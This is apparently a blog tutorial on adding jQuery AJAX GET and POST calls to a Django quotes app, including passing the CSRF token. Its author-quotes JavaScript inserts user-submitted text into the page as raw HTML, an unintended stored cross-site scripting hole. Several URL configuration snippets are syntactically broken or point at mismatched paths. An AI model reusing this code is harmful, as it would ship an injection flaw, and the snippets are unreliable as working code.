This article assumes you are comfortable creating a Django project, can create apps and register them into the INSTALLED_APPS list of the settings file. If not please read my Django HelloWorld article.

This article assumes you have a project called DjangoSandBox with an application called ajaxintroduction.

Overview

In these examples are we are going to create a page which uses AJAX to GET and POST data between the server.

The page is based around a ‘Quote’ object which contains the quote and the author. We will provide a single page which has the following functionality:

  • Get all quotes for an author
  • Get a random quote
  • Create a quote.

The following examples are split out but in the repository this is a single page. I strongly urge you to work from the source code within the repository.

Initial Page

So before we start on the AJAX calls we need an initial page up and running.

First lets create our model.

#models.py
from django.db import models
from django.db.models import Model

class Quote(Model):
    quote = models.TextField()
    author = models.CharField(max_length=50)

    def __str__(self):
        return "{0}: {1}".format(self.author, self.quote)

Make and run the migrations:

python manage.py makemigrations ajaxintroduction
python manage.py migrate

Next is our view, currently we simply want to return our template:

#views.py

from django.shortcuts import render

def get_quotes(request):
    return render(request, "ajaxintroduction/random_quotes.html")

Next our template; nothing more than a heading currently.

<!-- templates/ajaxintroduction/random_quotes.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Daily Quote!</title>

    <style>
        span {
            display: block;
        }
        span span {
            display: inline;
        }
    </style>
</head>
<body>

<h1>AJAX Examples</h1>
</body>

Then we hook in our view into our URL routing configuration.

# urls.py
from django.conf.urls import patterns, url

from . import views

urlpatterns = 
    patterns('',
    url(r'^$', views.get_quotes, name="index"),
)

Now hook our application into our project URL routing configuration:

#DjangoSandBox/urls.py

from django.conf.urls import patterns, include, url

from ajaxintroduction import urls as ajax_urls

urlpatterns = 
    patterns('',
             url(r'^ajax/', include(ajax_urls, namespace="ajax")),
             )

To test run the development server and navigate to:

http://127.0.0.1:8000/ajax/

You should see the template page loaded with our heading.

Static Files

Next we are going to configure our static files:

  • JQuery which we use for performing AJAX calls in JavaScript
  • JQuery-Cookies which will use to grab the CSRF token from our cookie
  • A new js file which we will place all our required JavaScript code in

First create an empty text file in ajaxintroduction/static/ajaxintroduction/js/ called ajax-example.js

// ajaxintroduction/static/ajaxintroduction/js/ajax-example.js

// Currently empty

Next download JQuery and JQueryCookies. You can download them from the references below if you have not downloaded the repository code of my examples. Alternatively you can download the files directly from GitHub

Note: if you are not downloading the files from my repository ensure you file names match with regards to the versions throughout the examples.

Copy in jquery and jquery.cookie into and DjangoSandBox/static/js

We now need to register these files as being static files which can be served directly to the user.

Within the settings file register the paths of the static directory of the project as well as the application directory of our ajaxintroduction application.

# settings.py
STATIC_URL = '/static/'

STATICFILES_DIRS =  (
    os.path.join(PROJECT_ROOT, 'static'),
    os.path.join(PROJECT_ROOT, 'ajaxintroduction', 'static'),
)

Now are are going to reference all these static files in our html head.

  • Call “load staticfiles” to enable the use of static files in our template
  • Reference the file with the static template tag. Files are referenced relative to the composition of STATICFILES_DIRS/STATIC_URL:
    • For our project files we reference js/file.js
    • For our application files we reference ajaxintroduction/js/file.js

Note: similar to templates we duplicate the application name within the directory path of our application static files as a way of name spacing our files.

<!-- templates/ajaxintroduction/random_quotes.html -->
<head>
    {% load staticfiles %}

    <script src="{% static "js/jquery-2.1.4.js" %}"></script>
    <script src="{% static "js/jquery.cookie.js" %}"></script>
    <script src="{% static "ajaxintroduction/js/ajax-example.js" %}"></script>    
</head>

To test run the development server and navigate to:

http://127.0.0.1:8000/ajax/

You should be able to use FireBug or Developer Tools to view the contents of the JavaScript files which have been downloaded along side our generated HTML.

If you look at the HTML code you will see the file path of the static file has been completed as a relative URL from our website route prefixed with static; static/ajaxintroduction/js/ajax-example.js

Note: if the files have not been downloaded use FireBug or Developer Tools to check the network requests of these resource files. Check the URL of the request is as expected. Check the response. Try entering in the full URL of the resource file into the browser:

http://127.0.0.1:8000/static/ajaxintroduction/js/ajax-example.js

Get – A Random Quote

We are now going to create the functionality to get a random quote. First we create a view which gets a random Quote record. We return the record as JSON data using the inbuilt Python json library:

import json
context_data = {random_quote.author: random_quote.quote}
json.dumps(context_data)

We then return the JSON data via a HTTPResponse setting the content_type to “application/json”. Add the following view function:

#views.py
import json
from random import randint

from django.http import HttpResponse

from .models import Quote

def get_random_quote(request):
    random_number = randint(0, Quote.objects.all().count() - 1)

    random_quote = Quote.objects.all()[random_number]
    context_data = {random_quote.author: random_quote.quote}

    return HttpResponse(json.dumps(context_data), content_type="application/json")

We then create a simple button and a span element to display our random quote. Both require an id as this is how we will be finding the element via JQuery. Add the following into our template file.

<!-- templates/ajaxintroduction/random_quotes.html -->

<h2>Get Random Quote:</h2>
<span>
    <button type="button" id="getquote">Get:</button>
    <span id="quote"></span><span id="author"></span>
</span>

Note: the above should be added into our existing html template file and not replacing its contents.

We now hook up our button to our view which returns our random quote as JSON data within our JavaScript file:

// ajaxintroduction/js/ajax-example.js
$(document).ready(function () {
    $("#getquote").click(function () {
        getQuote();
    });
});

function getQuote() {
    $.getJSON("/ajax/random", function (data) {
        console.log("getQuote.response:");
        console.log(data);
        $.each(data, function (author, quote) {
            $('#quote').text(quote);
            $('#author').text(author);
        });
    });
}
  • The $(document).ready is a special JQuery function which only runs when the html page has finished loading within the browser. We use it to bind our getQuote function onto the click event of our button.
  • The getJSON function is used to make a call to our view via AJAX. The first parameter is a relative URL which we will configure up below in our URL routing configuration. The second parameter is a call back function which is passed our returned random quote as JSON data.
  • We use the JQuery each function to iterate and unpack our JSON data which we display within our span elements,

We now hook in our view to our URL routing configuration.

# urls.py
from django.conf.urls import patterns, url

from . import views

urlpatterns = 
    patterns('',
    url(r'^random/$', views.get_random_quote, name="random"),
)

To test run the development server and navigate to:

http://127.0.0.1:8000/ajax/

Pressing the button will return and display a random quote.

Note: if the AJAX request does not appear to work use FireBug or Developer Tools to check the request. Check the URL, the parameters and it’s status. To see any errors which might be on the actual AJAX view navigate to the URL of the AJAX request.

You can also navigate directly to the new view function via:

http://127.0.0.1:8000/ajax/random

Get Multiple

In our next example we are going to allow the retrieval of all quotes for an author.

First we change our initial page view to return a list of all distinct authors.

Note: SQLite3 does not support the distinct SQL command so we use the Python set collection to create a distinct list of authors.

Secondly we create a new view which looks up all quotes for an author which we will pass in as a GET parameter. We return the quotes as a QuerySet.

The Django QuerySet is not serializable via the inbuilt Python json library. Django provides the serializers class which can.

#views.py
import json
from random import randint

from django.core import serializers
from django.http import HttpResponse, JsonResponse
from django.shortcuts import render

from .models import Quote

def get_quotes(request):
    authors = set(r.author for r in Quote.objects.all())

    return render(request, "ajaxintroduction/random_quotes.html", context={"authors": authors})


def get_author_quotes(request):
    if "author" not in request.GET or request.GET["author"] == "all":
        quotes = Quote.objects.all()
    else:
        author_name = request.GET["author"]
        quotes = Quote.objects.filter(author=author_name)

    return HttpResponse(serializers.serialize('json', quotes), content_type="application/json", )

We next now create our UI. This will consist of a choice list of the authors, a button and a span element for displaying the results.

<!-- templates/ajaxintroduction/random_quotes.html -->

<h2>Get Quotes By Author:</h2>
<span>
    <select id="authors" title="Fpop dfic">
        <option value="all">All</option>
        {% for author in authors %}
            <option value="{{ author }}">
                {{ author }}
            </option>
        {% endfor %}
    </select>
    <button type="button" id="getAuthorQuotes">Get</button>
</span>
<span id="quotesbyauthor"></span>

Now our JavaScript; first hook our function onto our button within the JQuery document ready function.

The only real difference between our call to getJSON in the previous example is that we pass in the selected author from the select box as a GET parameter. GET parameters are constructed from key value pairs represented by a JSON string.

Again we use the JQuery function ‘each’ to loop through all quotes unpacking them into a function as key value pair. We construct a series of list elements and add them into our span element.

// ajaxintroduction/js/ajax-example.js
$(document).ready(function () {
    $("#getAuthorQuotes").click(function () {
        getAuthorQuotes();
    });
});

function getAuthorQuotes() {
    $.getJSON("/ajax/author/", {author: $('#authors').val()}, function (data) {
            console.log("getAuthorQuotes.response:");
            console.log(data);

            var $quotesbyauthor = $('#quotesbyauthor');
            $quotesbyauthor.text("");

            var items = [];

            $.each(data, function (key, value) {
                items.push("<ul>" + value.fields["quote"] + ". " + value.fields["author"] + "</ul>");
            });

            $("<ul/>", {
                "class": "quotes",
                html: items.join("")
            }).appendTo($quotesbyauthor);
        }
    );
}

Now we simply need to hook in our view into our URL routing configuration.

# urls.py
from django.conf.urls import patterns, url

from . import views

urlpatterns = 
    patterns('',
    url(r'^author/$', views.get_author_quotes, )

To test run the development server and navigate to:

http://127.0.0.1:8000/sessionsandcookies/ajax/

You can now ask for all quotes for an author. If you cannot get this to work check the requests being made along with the results. Try navigating to the URL directly.

Post -Create A Quote

There is no real fundamental difference between a HTTP POST or a GET. The method is used as a status; both can contain URL parameters and both can contain a body.

It is advisable that GET requests should never perform CRUD operations. We will use a POST to create our Quote record.

We are going to allow the user to create a quote asynchronously from our page. We will create a new view function which takes our quote and author as strings, ensures they are set and then attempts to create the quote. We will use get_or_create to ensure we don’t create duplicate quotes.

We simply use request.POST[“XXX”] to get our form element value on the server side. For more complicated examples you should think about writing a dedicated Django model form.

We then return an indication of whether the quote was created, a validation message and also the new number of quotes in the database. We return the data as JSON but using the JsonResponse; this will automatically serialise the data to JSON as well as setting the content type of the response to JSON.

# views.py
import json
from random import randint

from django.core import serializers
from django.http import HttpResponse, JsonResponse
from django.shortcuts import render

from .models import Quote

# @csrf_exempt # Use for debugging only.
def new_quote(request):
    message = ""

    is_valid = True
    created = False

    if "quote" not in request.POST or "author" not in request.POST:
        message = "Invalid post data"
        is_valid = False

    if request.POST["quote"] == "" or request.POST["author"] == "":
        message = "Please provide a quote and an author"
        is_valid = False

    if is_valid:
        quote, created = Quote.objects.get_or_create(quote=request.POST["quote"], author=request.POST["author"])

        if created:
            message = "Quote Created"
        else:
            message = "Quote already exists"

    data = {"count": Quote.objects.all().count(), "message": message, "created": created}

    return JsonResponse(data)

We now add a form onto our template which will be used to capture the data required to create our Quote record. We also add a button. We include a csrf_token in our form to prevent from cross site forgery attacks.

<!-- templates/ajaxintroduction/random_quotes.html -->

<h2>Create Quote:</h2>
<form method="post" action="">
    {% csrf_token %}
    <table>
        <tr>
            <th>Quote</th>
            <th>Author</th>
        </tr>
        <tr>
            <td><input type="text" id="txtquote"/></td>
            <td><input type="text" id="txtauthor"/></td>
        </tr>
    </table>
    <button type="button" id="newquote">New Quote</button>
</form>

We now hook in our JavaScript; this is where it starts to get a bit tricky as we need to post back our csrf_token as part of the POST data.

Django writes the token value to a cookie called csrftoken which we can access in JavaScipt via the JQuery-Cookies library. We hooked this file in above as a static file. We should only include this if our HTTP method is not one of GET, HEAD, OPTIONS or TRACE. We set the token in the X-CSRFToken HTTP request header parameter. We use the JQuery ajaxSetup function to do this.

If you want to test posting back without Django validating the presence and validity of the token you can decorate your view with the @csrf_exempt decorator. This should only be used for testing/development purposes.

We then call our new view URL passing in the data of the new quote we would like to create.

We then display our validation message and the new count of elements.

// ajaxintroduction/js/ajax-example.js
function csrfSafeMethod(method) {
    // these HTTP methods do not require CSRF protection
    return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method));
}

$.ajaxSetup({
    beforeSend: function (xhr, settings) {
        if (!csrfSafeMethod(settings.type) && !this.crossDomain) {
            xhr.setRequestHeader("X-CSRFToken", $.cookie('csrftoken'));
        }
    }
});

$(document).ready(function () {
    $("#newquote").click(function () {
        createNewQuote();
    });
});

function createNewQuote() {
    $.ajax({
        type: "POST",
        url: "/ajax/new/",
        data: {
            'quote': $('#txtquote').val(),
            'author': $('#txtauthor').val()
        },
        success: function (data) {
            console.log("createNewQuote.response:");
            console.log(data);

            alert(data.message);

            if (data.created) {
                alert("There are now " + data.count + " quotes");
            }
        }
    });
}

The last thing we need to do is to hook our new view into our URL routing configuration.

# urls.py
from django.conf.urls import patterns, url

from . import views

urlpatterns = 
    patterns('',
    url(r'^new/$', views.new_quote, name="new"),
)

To test run the development server and navigate to:

http://127.0.0.1:8000/sessionsandcookies/ajax

##References## {#References}